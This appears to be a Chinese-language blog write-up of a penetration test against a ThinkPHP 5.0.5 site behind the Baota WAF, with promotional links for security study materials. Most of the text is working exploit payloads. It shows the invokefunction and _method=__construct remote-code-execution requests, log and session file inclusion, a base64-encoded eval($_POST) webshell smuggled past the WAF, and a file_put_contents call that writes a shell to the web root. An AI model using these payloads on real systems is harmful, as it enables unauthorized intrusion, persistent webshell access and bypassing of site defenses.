一次TP测试
一、簡單的信息收集
嘗試路徑報錯,獲取目標版本和配置信息。
https://example.com/admin/indeeex/login.html版本為5.0.5,開啟debug。
直接執行payload,寶塔攔截
/index.php? s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=a ssert&vars[1][]=phpinfo()【網絡安全 全套學習資料·攻略】文字末尾了解詳細
嘗試post執行paylaod
_method=__construct&method=get&filter=call_user_func&get[]=phpinfo成功執行,php5的assert默認存在代碼執行,php7默認不存在。
禁用函數
passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv不能直接執行命令,嘗試日志包含和session包含拿shell。
二、日志包含嘗試尋找日志路徑配合之前路徑報錯獲取的根路徑。
https://example.com/runtime/log/202111/17.log對日志進行包含
<pre style="padding: 16px; font: 12.75px / 1.6 Consolas, "Liberation Mono", Menlo, Courier, monospace; color: rgb(51, 51, 51); border-radius: 3px; display: block; margin: 0px; word-break: normal; overflow-wrap: normal; white-space: pre-wrap; background-color: rgb(247, 247, 247); border: 1px solid rgba(0, 0, 0, 0.15); box-sizing: border-box; overflow: auto;">_method=__construct&method=get&filter=think\__include_file&get[]=/www/wwwroot/taizi/runtime/log/202110/28.log </pre>簡單看一下訪問記錄是否能夠寫入日志,訪問
https://example.com/phpinfo可以正常寫入
但是在寫入函數的時候被攔截
正常payload這被攔截
三、session包含
_method=__construct&filter[]=think\Session::set&method=get&get[]=eeee&server[]=1修改一下phpsessionid為1111,進行session包含,可以看到正常寫入。
_method=__construct&method=get&filter=think\__include_file&get[]=/tmp/sess_1111但是如果直接寫入shell的話會被攔截
所以這里嘗試對payload進行加密處理。
使用以下payload
未被攔截,但是在包含的時候出問題了,試了好多次大大概的原因就是<
嘗試對所有payload加密使用偽協議讀取內容,但是在使用偽協議對時候又被攔截。
這時候可以嘗試使用函數,將偽協議反序。
_method=__construct&filter[]=think\Session::set&method=get&get[]=aaPD9waHAgZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFsnYWJjJ10pKTs/Pg&server[]=1成功執行。
最后要寫shell的話直接將shell加密,再將代碼加密即可寫入。
file_put_contents('/www/wwwroot/test123.php',base64_decode("PD9waHAgcGhwaW5mbygpOz8+"));點擊獲取學習資料
- 2000多本網絡安全系列電子書
- 網絡安全標準題庫資料
- 項目源碼
- 網絡安全基礎入門、Linux、web安全、攻防方面的視頻
- 網絡安全學習路線圖
總結
- 上一篇: 某IP设备代码审计
- 下一篇: 【漏洞实战】某网站JS文件泄露导致拿到服